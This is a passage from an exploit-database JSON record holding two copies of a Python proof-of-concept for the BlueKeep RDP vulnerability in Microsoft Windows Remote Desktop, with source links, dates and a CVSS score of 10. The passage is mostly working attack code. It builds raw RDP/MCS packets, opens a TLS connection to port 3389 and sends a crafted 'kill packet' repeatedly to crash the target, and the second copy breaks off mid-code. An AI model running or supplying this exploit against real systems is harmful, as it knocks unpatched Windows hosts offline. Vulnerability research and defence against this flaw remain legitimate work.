\"\\x03\\x00\\x02\\x63\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xeb\\x70\\x82\\x54\\x54\\x02\\x13\\x00\\xf0\\x03\\xea\\x03\\x01\\x00\\xea\\x03\\x06\\x00\\x3e\\x02\\x4d\\x53\\x54\\x53\\x43\\x00\\x17\\x00\\x00\\x00\\x01\\x00\\x18\\x00\\x01\\x00\\x03\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x1d\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x1c\\x00\\x20\\x00\\x01\\x00\\x01\\x00\\x01\\x00\\x80\\x07\\x38\\x04\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x1a\\x01\\x00\\x00\\x00\\x03\\x00\\x58\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x14\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xaa\\x00\\x01\\x01\\x01\\x01\\x01\\x00\\x00\\x01\\x01\\x01\\x00\\x01\\x00\\x00\\x00\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x00\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\xa1\\x06\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x84\\x03\\x00\\x00\\x00\\x00\\x00\\xe4\\x04\\x00\\x00\\x13\\x00\\x28\\x00\\x03\\x00\\x00\\x03\\x78\\x00\\x00\\x00\\x78\\x00\\x00\\x00\\xfc\\x09\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0a\\x00\\x08\\x00\\x06\\x00\\x00\\x00\\x07\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x02\\x00\\x08\\x00\\x0a\\x00\\x01\\x00\\x14\\x00\\x15\\x00\\x09\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x0d\\x00\\x58\\x00\\x91\\x00\\x20\\x00\\x09\\x04\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x08\\x00\\x01\\x00\\x00\\x00\\x0e\\x00\\x08\\x00\\x01\\x00\\x00\\x00\\x10\\x00\\x34\\x00\\xfe\\x00\\x04\\x00\\xfe\\x00\\x04\\x00\\xfe\\x00\\x08\\x00\\xfe\\x00\\x08\\x00\\xfe\\x00\\x10\\x00\\xfe\\x00\\x20\\x00\\xfe\\x00\\x40\\x00\\xfe\\x00\\x80\\x00\\xfe\\x00\\x00\\x01\\x40\\x00\\x00\\x08\\x00\\x01\\x00\\x01\\x03\\x00\\x00\\x00\\x0f\\x00\\x08\\x00\\x01\\x00\\x00\\x00\\x11\\x00\\x0c\\x00\\x01\\x00\\x00\\x00\\x00\\x28\\x64\\x00\\x14\\x00\\x0c\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x0c\\x00\\x02\\x00\\x00\\x00\\x00\\x0a\\x00\\x01\\x1a\\x00\\x08\\x00\\xaf\\x94\\x00\\x00\\x1c\\x00\\x0c\\x00\\x12\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1b\\x00\\x06\\x00\\x01\\x00\\x1e\\x00\\x08\\x00\\x01\\x00\\x00\\x00\\x18\\x00\\x0b\\x00\\x02\\x00\\x00\\x00\\x03\\x0c\\x00\\x1d\\x00\\x5f\\x00\\x02\\xb9\\x1b\\x8d\\xca\\x0f\\x00\\x4f\\x15\\x58\\x9f\\xae\\x2d\\x1a\\x87\\xe2\\xd6\\x01\\x03\\x00\\x01\\x01\\x03\\xd4\\xcc\\x44\\x27\\x8a\\x9d\\x74\\x4e\\x80\\x3c\\x0e\\xcb\\xee\\xa1\\x9c\\x54\\x05\\x31\\x00\\x31\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x25\\x00\\x00\\x00\\xc0\\xcb\\x08\\x00\\x00\\x00\\x01\\x00\\xc1\\xcb\\x1d\\x00\\x00\\x00\\x01\\xc0\\xcf\\x02\\x00\\x08\\x00\\x00\\x01\\x40\\x00\\x02\\x01\\x01\\x01\\x00\\x01\\x40\\x00\\x02\\x01\\x01\\x04\"\r\n\tba = bytearray()\r\n\tba.extend(map(ord, p))\r\n\ttls.sendall(bytes(ba))\r\n\r\ndef send_establish_session(tls):\r\n\tp = b\"\\x03\\x00\\x00\\x24\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xeb\\x70\\x16\\x16\\x00\\x17\\x00\\xf0\\x03\\xea\\x03\\x01\\x00\\x00\\x01\\x08\\x00\\x1f\\x00\\x00\\x00\\x01\\x00\\xea\\x03\"\r\n\ttls.sendall(p)\r\n\tp = b\"\\x03\\x00\\x00\\x28\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xeb\\x70\\x1a\\x1a\\x00\\x17\\x00\\xf0\\x03\\xea\\x03\\x01\\x00\\x00\\x01\\x0c\\x00\\x14\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\ttls.sendall(p)\r\n\tp = b\"\\x03\\x00\\x00\\x28\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xeb\\x70\\x1a\\x1a\\x00\\x17\\x00\\xf0\\x03\\xea\\x03\\x01\\x00\\x00\\x01\\x0c\\x00\\x14\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\ttls.sendall(p)\r\n\tp = b\"\\x03\\x00\\x05\\x81\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xeb\\x70\\x85\\x72\\x72\\x05\\x17\\x00\\xf0\\x03\\xea\\x03\\x01\\x00\\x00\\x01\\x00\\x00\\x2b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\xa3\\xce\\x20\\x35\\xdb\\x94\\xa5\\xe6\\x0d\\xa3\\x8c\\xfb\\x64\\xb7\\x63\\xca\\xe7\\x9a\\x84\\xc1\\x0d\\x67\\xb7\\x91\\x76\\x71\\x21\\xf9\\x67\\x96\\xc0\\xa2\\x77\\x5a\\xd8\\xb2\\x74\\x4f\\x30\\x35\\x2b\\xe7\\xb0\\xd2\\xfd\\x81\\x90\\x1a\\x8f\\xd5\\x5e\\xee\\x5a\\x6d\\xcb\\xea\\x2f\\xa5\\x2b\\x06\\xe9\\x0b\\x0b\\xa6\\xad\\x01\\x2f\\x7a\\x0b\\x7c\\xff\\x89\\xd3\\xa3\\xe1\\xf8\\x00\\x96\\xa6\\x8d\\x9a\\x42\\xfc\\xab\\x14\\x05\\x8f\\x16\\xde\\xc8\\x05\\xba\\xa0\\xa8\\xed\\x30\\xd8\\x67\\x82\\xd7\\x9f\\x84\\xc3\\x38\\x27\\xda\\x61\\xe3\\xa8\\xc3\\x65\\xe6\\xec\\x0c\\xf6\\x36\\x24\\xb2\\x0b\\xa6\\x17\\x1f\\x46\\x30\\x16\\xc7\\x73\\x60\\x14\\xb5\\xf1\\x3a\\x3c\\x95\\x7d\\x7d\\x2f\\x74\\x7e\\x56\\xff\\x9c\\xe0\\x01\\x32\\x9d\\xf2\\xd9\\x35\\x5e\\x95\\x78\\x2f\\xd5\\x15\\x6c\\x18\\x34\\x0f\\x43\\xd7\\x2b\\x97\\xa9\\xb4\\x28\\xf4\\x73\\x6c\\x16\\xdb\\x43\\xd7\\xe5\\x58\\x0c\\x5a\\x03\\xe3\\x73\\x58\\xd7\\xd9\\x76\\xc2\\xfe\\x0b\\xd7\\xf4\\x12\\x43\\x1b\\x70\\x6d\\x74\\xc2\\x3d\\xf1\\x26\\x60\\x58\\x80\\x31\\x07\\x0e\\x85\\xa3\\x95\\xf8\\x93\\x76\\x99\\x9f\\xec\\xa0\\xd4\\x95\\x5b\\x05\\xfa\\x4f\\xdf\\x77\\x8a\\x7c\\x29\\x9f\\x0b\\x4f\\xa1\\xcb\\xfa\\x95\\x66\\xba\\x47\\xe3\\xb0\\x44\\xdf\\x83\\x03\\x44\\x24\\xf4\\x1e\\xf2\\xe5\\xcb\\xa9\\x53\\x04\\xc2\\x76\\xcb\\x4d\\xc6\\xc2\\xd4\\x3f\\xd3\\x8c\\xb3\\x7c\\xf3\\xaa\\xf3\\x93\\xfe\\x25\\xbd\\x32\\x7d\\x48\\x6e\\x93\\x96\\x68\\xe5\\x18\\x2b\\xea\\x84\\x25\\x69\\x02\\xa5\\x38\\x65\\x6f\\x0f\\x9f\\xf6\\xa1\\x3a\\x1d\\x22\\x9d\\x3f\\x6d\\xe0\\x4c\\xee\\x8b\\x24\\xf0\\xdc\\xff\\x70\\x52\\xa7\\x0d\\xf9\\x52\\x8a\\x1e\\x33\\x1a\\x30\\x11\\x15\\xd7\\xf8\\x95\\xa9\\xbb\\x74\\x25\\x8c\\xe3\\xe9\\x93\\x07\\x43\\xf5\\x50\\x60\\xf7\\x96\\x2e\\xd3\\xff\\x63\\xe0\\xe3\\x24\\xf1\\x10\\x3d\\x8e\\x0f\\x56\\xbc\\x2e\\xb8\\x90\\x0c\\xfa\\x4b\\x96\\x68\\xfe\\x59\\x68\\x21\\xd0\\xff\\x52\\xfe\\x5c\\x7d\\x90\\xd4\\x39\\xbe\\x47\\x9d\\x8e\\x7a\\xaf\\x95\\x4f\\x10\\xea\\x7b\\x7a\\xd3\\xca\\x07\\x28\\x3e\\x4e\\x4b\\x81\\x0e\\xf1\\x5f\\x1f\\x8d\\xbe\\x06\\x40\\x27\\x2f\\x4a\\x03\\x80\\x32\\x67\\x54\\x2f\\x93\\xfd\\x25\\x5d\\x6d\\xa0\\xad\\x23\\x45\\x72\\xff\\xd1\\xeb\\x5b\\x51\\x75\\xa7\\x61\\xe0\\x3f\\xe4\\xef\\xf4\\x96\\xcd\\xa5\\x13\\x8a\\xe6\\x52\\x74\\x70\\xbf\\xc1\\xf9\\xfb\\x68\\x9e\\xdd\\x72\\x8f\\xb4\\x44\\x5f\\x3a\\xcb\\x75\\x2a\\x20\\xa6\\x69\\xd2\\x76\\xf9\\x57\\x46\\x2b\\x5b\\xda\\xba\\x0f\\x9b\\xe0\\x60\\xe1\\x8b\\x90\\x33\\x41\\x0a\\x2d\\xc5\\x06\\xfe\\xd0\\xf0\\xfc\\xde\\x35\\xd4\\x1e\\xaa\\x76\\x0b\\xae\\xf4\\xd5\\xbd\\xfa\\xf3\\x55\\xf5\\xc1\\x67\\x65\\x75\\x1c\\x1d\\x5e\\xe8\\x3a\\xfe\\x54\\x50\\x23\\x04\\xae\\x2e\\x71\\xc2\\x76\\x97\\xe6\\x39\\xc6\\xb2\\x25\\x87\\x92\\x63\\x52\\x61\\xd1\\x6c\\x07\\xc1\\x1c\\x00\\x30\\x0d\\xa7\\x2f\\x55\\xa3\\x4f\\x23\\xb2\\x39\\xc7\\x04\\x6c\\x97\\x15\\x7a\\xd7\\x24\\x33\\x91\\x28\\x06\\xa6\\xe7\\xc3\\x79\\x5c\\xae\\x7f\\x50\\x54\\xc2\\x38\\x1e\\x90\\x23\\x1d\\xd0\\xff\\x5a\\x56\\xd6\\x12\\x91\\xd2\\x96\\xde\\xcc\\x62\\xc8\\xee\\x9a\\x44\\x07\\xc1\\xec\\xf7\\xb6\\xd9\\x9c\\xfe\\x30\\x1c\\xdd\\xb3\\x3b\\x93\\x65\\x3c\\xb4\\x80\\xfb\\xe3\\x87\\xf0\\xee\\x42\\xd8\\xcf\\x08\\x98\\x4d\\xe7\\x6b\\x99\\x0a\\x43\\xed\\x13\\x72\\x90\\xa9\\x67\\xfd\\x3c\\x63\\x36\\xec\\x55\\xfa\\xf6\\x1f\\x35\\xe7\\x28\\xf3\\x87\\xa6\\xce\\x2e\\x34\\xaa\\x0d\\xb2\\xfe\\x17\\x18\\xa2\\x0c\\x4e\\x5f\\xf0\\xd1\\x98\\x62\\x4a\\x2e\\x0e\\xb0\\x8d\\xb1\\x7f\\x32\\x52\\x8e\\x87\\xc9\\x68\\x7c\\x0c\\xef\\xee\\x88\\xae\\x74\\x2a\\x33\\xff\\x4b\\x4d\\xc5\\xe5\\x18\\x38\\x74\\xc7\\x28\\x83\\xf7\\x72\\x87\\xfc\\x79\\xfb\\x3e\\xce\\xd0\\x51\\x13\\x2d\\x7c\\xb4\\x58\\xa2\\xe6\\x28\\x67\\x4f\\xec\\xa6\\x81\\x6c\\xf7\\x9a\\x29\\xa6\\x3b\\xca\\xec\\xb8\\xa1\\x27\\x50\\xb7\\xef\\xfc\\x81\\xbf\\x5d\\x86\\x20\\x94\\xc0\\x1a\\x0c\\x41\\x50\\xa9\\x5e\\x10\\x4a\\x82\\xf1\\x74\\x1f\\x78\\x21\\xf5\\x70\\x61\\x24\\x00\\x3d\\x47\\x5f\\xf3\\x25\\x80\\x3c\\x4b\\xea\\xa3\\xf4\\x77\\xea\\xa1\\x42\\x1a\\x17\\x0f\\x6d\\xa8\\x35\\x9e\\x91\\x26\\x34\\x43\\x04\\xc6\\xc6\\x5b\\x21\\x7d\\x8c\\xc7\\x22\\x91\\x7b\\x2c\\x2d\\x2f\\xd6\\x7e\\xa5\\x52\\xa8\\x08\\x80\\xeb\\x60\\xd1\\x44\\x09\\x8e\\x3c\\xa1\\xaa\\x67\\x60\\x0a\\x26\\xc6\\xb5\\xc6\\x79\\xa6\\x4f\\x8b\\x8c\\x25\\x5c\\xf1\\x0b\\x23\\xf4\\xd8\\xa6\\x6d\\xf1\\x91\\x78\\xf9\\xe5\\x2a\\x50\\x2f\\x5a\\x44\\x22\\xd9\\x19\\x5c\\xaf\\xd6\\xac\\x97\\xa2\\xf8\\x0d\\x0c\\xe3\\xdd\\x88\\x48\\x98\\x28\\x0b\\x8b\\xbd\\x76\\xdc\\xde\\xca\\xe2\\xc2\\x4a\\x87\\x50\\xd4\\x8c\\x77\\x5a\\xd8\\xb2\\x74\\x4f\\x30\\x35\\xbf\\x28\\xae\\xd9\\xa2\\x98\\xa5\\xbc\\x60\\xca\\xb8\\x90\\x4d\\x20\\x46\\xd9\\x8a\\x1a\\x30\\x01\\x8b\\x38\\x63\\x1a\\x57\\x09\\x51\\x46\\x95\\x9b\\xd8\\x80\\x0c\\xb0\\x77\\x24\\xbf\\x2b\\xd3\\x57\\x22\\xd9\\x19\\x5c\\xaf\\xd6\\xac\\x97\\xa2\\xf8\\x0d\\x0c\\xe3\\xdd\\x88\\x48\\x98\\x28\\x0b\\x8b\\xbd\\x76\\xdc\\xde\\xca\\xe2\\xc2\\x4a\\x87\\x50\\xd4\\x8c\\x56\\x92\\x38\\xed\\x6b\\x9b\\x5b\\x1f\\xba\\x53\\xa1\\x0e\\xf7\\x75\\x10\\x53\\x22\\x4c\\x0a\\x75\\x88\\x54\\x69\\x3f\\x3b\\xf3\\x18\\x67\\x6b\\x0f\\x19\\xd1\\x00\\x25\\x86\\xcd\\xa8\\xd9\\xdd\\x1d\\x8d\\x26\\x87\\x54\\xd9\\x79\\xc0\\x74\\x65\\x90\\xd7\\x33\\x32\\xaf\\xba\\x9d\\x5a\\xd5\\x6c\\x7c\\xa1\\x47\\xe1\\x49\\x6e\\x1c\\xce\\x9f\\x62\\xaa\\x26\\x16\\x3f\\x3c\\xec\\x5b\\x49\\xe5\\xc0\\x60\\xd4\\xbe\\xa7\\x88\\xbc\\xa1\\x9f\\x29\\x71\\x8c\\xeb\\x69\\xf8\\x73\\xfb\\xaf\\x29\\xaa\\x40\\x1b\\xe5\\x92\\xd2\\x77\\xa7\\x2b\\xfb\\xb6\\x77\\xb7\\x31\\xfb\\xdc\\x1e\\x63\\x63\\x7d\\xf2\\xfe\\x3c\\x6a\\xba\\x0b\\x20\\xcb\\x9d\\x64\\xb8\\x31\\x14\\xe2\\x70\\x07\\x2c\\xdf\\x9c\\x6f\\xb5\\x3a\\xc4\\xd5\\xb5\\xc9\\x3e\\x9a\\xd7\\xd5\\x30\\xdc\\x0e\\x19\\x89\\xc6\\x08\\x88\\xe1\\xca\\x81\\xa6\\x28\\xdd\\x9c\\x74\\x05\\x11\\xe7\\xe1\\xcc\\xbc\\xc7\\x76\\xdd\\x55\\xe2\\xcc\\xc2\\xcb\\xd3\\xb6\\x48\\x01\\xdd\\xff\\xba\\xca\\x31\\xab\\x26\\x44\\x1c\\xdc\\x06\\x01\\xdf\\xf2\\x90\\x50\\xb8\\x6b\\x8f\\xe8\\x29\\xf0\\xba\\xec\\xfb\\x2d\\xfd\\x7a\\xfc\\x7f\\x57\\xbd\\xea\\x90\\xf7\\xcf\\x92\\x1e\\xc4\\x20\\xd0\\xb6\\x9f\\xd6\\xdc\\xa1\\x82\\xa9\\x6c\\x5e\\x3e\\x83\\x41\\x57\\x73\\xe9\\xe7\\x5a\\x3f\\xda\\x24\\x4f\\x73\\x5e\\xf4\\xe0\\x92\\x24\\xbd\\x0b\\xd0\\x3c\\x49\\x96\\xb5\\xb5\\x05\\x32\\xcb\\x58\\x1d\\x6f\\x97\\x51\\xee\\x0c\\xdc\\x0b\\x2a\\x60\\xef\\x97\\x3e\\x5a\\x30\\x81\\x15\\x91\\xcf\\x11\\x07\\x25\\x2c\\x41\\xdb\\x70\\x72\\xe1\\x75\\xf6\\xa5\\xff\\xe8\\x44\\xe7\\x03\\xe3\\x61\\xaa\\xdb\\xe0\\x07\\x3d\\x07\\x0b\\xe3\\x5c\\x09\\xa9\\x5e\\x10\\xfd\\xcf\\x74\\x9e\\x23\\xf1\\x30\\x86\\x16\\xef\\x25\\x4e\\xfe\\xa4\\x93\\xa5\\x80\\x0a\\x01\\x39\\xcc\\x11\\x7a\\x6e\\x94\\x22\\x5b\\xd8\\xc6\\xc9\\xa8\\xdf\\x13\\x96\\xb3\\x91\\x33\\x6e\\x87\\xbb\\x94\\x63\\x2d\\x88\\x64\\xa7\\x58\\x89\\xda\\xdc\\x7f\\x2a\\xe3\\xa1\\x66\\xe5\\xc8\\x7f\\xc2\\xdb\\xc7\\x7d\\x2f\\xa9\\x46\\x28\\x45\\x69\\xbc\\xac\\x9f\\x85\\x9e\\xb0\\x9f\\x9a\\x49\\xb4\\xb1\\xcb\"\r\n\ttls.sendall(p)\r\n\tp = b\"\\x03\\x00\\x00\\x28\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xeb\\x70\\x1a\\x1a\\x00\\x17\\x00\\xf0\\x03\\xea\\x03\\x01\\x00\\x00\\x01\\x00\\x00\\x27\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x32\\x00\"\r\n\ttls.sendall(p)\r\n\r\ndef send_kill_packet(tls, arch):\r\n\tif arch == \"32\":\r\n\t\tp = b\"\\x03\\x00\\x00\\x2e\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xef\\x70\\x14\\x0c\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\telif arch == \"64\":\r\n\t\tp = b\"\\x03\\x00\\x00\\x2e\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xef\\x70\\x14\\x0c\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\telse:\r\n\t\tprint(\"Make the second arguement '32' or '64' without quotes\")\r\n\t\tsys.exit()\r\n\ttls.sendall(p)\r\n\r\ndef terminate_connection(tls):\r\n\tp = b\"\\x03\\x00\\x00\\x09\\x02\\xf0\\x80\\x21\\x80\"\r\n\ttls.sendall(p)\r\n\r\ndef main(args):\r\n\ttls = send_init_packets(args[1])\r\n\r\n\tsend_client_data(tls)\r\n\tprint(\"[+] ClientData Packet Sent\")\r\n\r\n\tsend_channel_packets(tls)\r\n\tprint(\"[+] ChannelJoin/ErectDomain/AttachUser Sent\")\r\n\r\n\tsend_client_info(tls)\r\n\tprint(\"[+] ClientInfo Packet Sent\")\r\n\r\n\ttls.recv(8192)\r\n\ttls.recv(8192)\r\n\r\n\tsend_confirm_active(tls, None)\r\n\tprint(\"[+] ConfirmActive Packet Sent\")\r\n\r\n\tsend_establish_session(tls)\r\n\tprint(\"[+] Session Established\")\r\n\r\n\tsend_kill_packet(tls, args[2])\r\n\tterminate_connection(tls)\r\n\tprint(\"[+] Vuln Should Trigger\")\r\n\r\nif __name__ == '__main__':\r\n\tif len(sys.argv) != 3:\r\n\t\tprint(\"Usage: python poc.py 127.0.0.1 64\")\r\n\t\tsys.exit()\r\n\r\n\telif sys.argv[2] == '32' or '64':\r\n\t\t# I've had to send the packets 5 times for hosts that havent\r\n\t\t# had a terminal session since their last reboot. I think\r\n\t\t# I know why but atm its just easier to send the exchange\r\n\t\t# 5 times and it'll crash eventually. Most of the time its\r\n\t\t# the first time though.\r\n\t\tfor _ in range(5):\r\n\t\t\tmain(sys.argv)\r\n\r\n\telse:\r\n\t\tprint(\"Usage: python poc.py 127.0.0.1 64\")\r\n\t\tsys.exit()\n\n#  0day.today [2019-05-31]  #",
        "cvss": {
            "score": 10.0,
            "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"
        },
        "sourceHref": "https://0day.today/exploit/32826",
        "vhref": "https://vulners.com/zdt/1337DAY-ID-32826"
    },
    {
        "lastseen": "2019-05-31T20:29:38",
        "bulletinFamily": "exploit",
        "description": "",
        "modified": "2019-05-30T00:00:00",
        "published": "2019-05-30T00:00:00",
        "id": "PACKETSTORM:153133",
        "href": "https://packetstormsecurity.com/files/153133/Microsoft-Windows-Remote-Desktop-BlueKeep-Denial-Of-Service.html",
        "type": "packetstorm",
        "title": "Microsoft Windows Remote Desktop BlueKeep Denial Of Service",
        "sourceData": "`import socket, sys, struct  \nfrom OpenSSL import SSL  \nfrom impacket.structure import Structure  \n  \n# I'm not responsible for what you use this to accomplish and should only be used for education purposes  \n  \n# Could clean these up since I don't even use them  \nclass TPKT(Structure):  \ncommonHdr = (  \n('Version','B=3'),  \n('Reserved','B=0'),  \n('Length','>H=len(TPDU)+4'),  \n('_TPDU','_-TPDU','self[\"Length\"]-4'),  \n('TPDU',':=\"\"'),  \n)  \n  \nclass TPDU(Structure):  \ncommonHdr = (  \n('LengthIndicator','B=len(VariablePart)+1'),  \n('Code','B=0'),  \n('VariablePart',':=\"\"'),  \n)  \ndef __init__(self, data = None):  \nStructure.__init__(self,data)  \nself['VariablePart']=''  \n  \nclass CR_TPDU(Structure):  \ncommonHdr = (  \n('DST-REF','<H=0'),  \n('SRC-REF','<H=0'),  \n('CLASS-OPTION','B=0'),  \n('Type','B=0'),  \n('Flags','B=0'),  \n('Length','<H=8'),  \n)  \n  \nclass DATA_TPDU(Structure):  \ncommonHdr = (  \n('EOT','B=0x80'),  \n('UserData',':=\"\"'),  \n)  \ndef __init__(self, data = None):  \nStructure.__init__(self,data)  \nself['UserData'] =''  \n  \nclass RDP_NEG_REQ(CR_TPDU):  \nstructure = (  \n('requestedProtocols','<L'),  \n)  \ndef __init__(self,data=None):  \nCR_TPDU.__init__(self,data)  \nif data is None:  \nself['Type'] = 1  \n  \ndef send_init_packets(host):  \ntpkt = TPKT()  \ntpdu = TPDU()  \nrdp_neg = RDP_NEG_REQ()  \nrdp_neg['Type'] = 1  \nrdp_neg['requestedProtocols'] = 1  \ntpdu['VariablePart'] = rdp_neg.getData()  \ntpdu['Code'] = 0xe0  \ntpkt['TPDU'] = tpdu.getData()  \ns = socket.socket()  \ns.connect((host, 3389))  \ns.sendall(tpkt.getData())  \ns.recv(8192)  \nctx = SSL.Context(SSL.TLSv1_METHOD)  \ntls = SSL.Connection(ctx,s)  \ntls.set_connect_state()  \ntls.do_handshake()  \nreturn tls  \n  \n# This can be fixed length now buttfuckit  \ndef send_client_data(tls):  \np = \"\\x03\\x00\\x01\\xca\\x02\\xf0\\x80\\x7f\\x65\\x82\\x07\\xc2\\x04\\x01\\x01\\x04\\x01\\x01\\x01\\x01\\xff\\x30\\x19\\x02\\x01\\x22\\x02\\x01\\x02\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x02\\xff\\xff\\x02\\x01\\x02\\x30\\x19\\x02\\x01\\x01\\x02\\x01\\x01\\x02\\x01\\x01\\x02\\x01\\x01\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x02\\x04\\x20\\x02\\x01\\x02\\x30\\x1c\\x02\\x02\\xff\\xff\\x02\\x02\\xfc\\x17\\x02\\x02\\xff\\xff\\x02\\x01\\x01\\x02\\x01\\x00\\x02\\x01\\x01\\x02\\x02\\xff\\xff\\x02\\x01\\x02\\x04\\x82\\x01\\x61\\x00\\x05\\x00\\x14\\x7c\\x00\\x01\\x81\\x48\\x00\\x08\\x00\\x10\\x00\\x01\\xc0\\x00\\x44\\x75\\x63\\x61\\x81\\x34\\x01\\xc0\\xea\\x00\\x0a\\x00\\x08\\x00\\x80\\x07\\x38\\x04\\x01\\xca\\x03\\xaa\\x09\\x04\\x00\\x00\\xee\\x42\\x00\\x00\\x44\\x00\\x45\\x00\\x53\\x00\\x4b\\x00\\x54\\x00\\x4f\\x00\\x50\\x00\\x2d\\x00\\x46\\x00\\x38\\x00\\x34\\x00\\x30\\x00\\x47\\x00\\x49\\x00\\x4b\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xca\\x01\\x00\\x00\\x00\\x00\\x00\\x18\\x00\\x0f\\x00\\xaf\\x07\\x62\\x00\\x63\\x00\\x37\\x00\\x38\\x00\\x65\\x00\\x66\\x00\\x36\\x00\\x33\\x00\\x2d\\x00\\x39\\x00\\x64\\x00\\x33\\x00\\x33\\x00\\x2d\\x00\\x34\\x00\\x31\\x00\\x39\\x38\\x00\\x38\\x00\\x2d\\x00\\x39\\x00\\x32\\x00\\x63\\x00\\x66\\x00\\x2d\\x00\\x00\\x31\\x00\\x62\\x00\\x32\\x00\\x64\\x00\\x61\\x00\\x42\\x42\\x42\\x42\\x07\\x00\\x01\\x00\\x00\\x00\\x56\\x02\\x00\\x00\\x50\\x01\\x00\\x00\\x00\\x00\\x64\\x00\\x00\\x00\\x64\\x00\\x00\\x00\\x04\\xc0\\x0c\\x00\\x15\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xc0\\x0c\\x00\\x1b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\xc0\\x38\\x00\\x04\\x00\\x00\\x00\\x72\\x64\\x70\\x73\\x6e\\x64\\x00\\x00\\x0f\\x00\\x00\\xc0\\x63\\x6c\\x69\\x70\\x72\\x64\\x72\\x00\\x00\\x00\\xa0\\xc0\\x64\\x72\\x64\\x79\\x6e\\x76\\x63\\x00\\x00\\x00\\x80\\xc0\\x4d\\x53\\x5f\\x54\\x31\\x32\\x30\\x00\\x00\\x00\\x00\\x00\"  \nsize0 = struct.pack(\">h\", len(p))  \nsize1 = struct.pack(\">h\", len(p)-12)  \nsize2 = struct.pack(\">h\", len(p)-109)  \nsize3 = struct.pack(\">h\", len(p)-118)  \nsize4 = struct.pack(\">h\", len(p)-132)  \nsize5 = struct.pack(\">h\", len(p)-390)  \nba = bytearray()  \nba.extend(map(ord, p))  \nba[2] = size0[0]  \nba[3] = size0[1]  \nba[10] = size1[0]  \nba[11] = size1[1]  \nba[107] = size2[0]  \nba[108] = size2[1]  \nba[116] = 0x81  \nba[117] = size3[1]   \nba[130] = 0x81  \nba[131] = size4[1]  \nba[392] = size5[1]  \ntls.sendall(bytes(ba))  \ntls.recv(8192)  \n  \ndef send_client_info(tls):  \np = 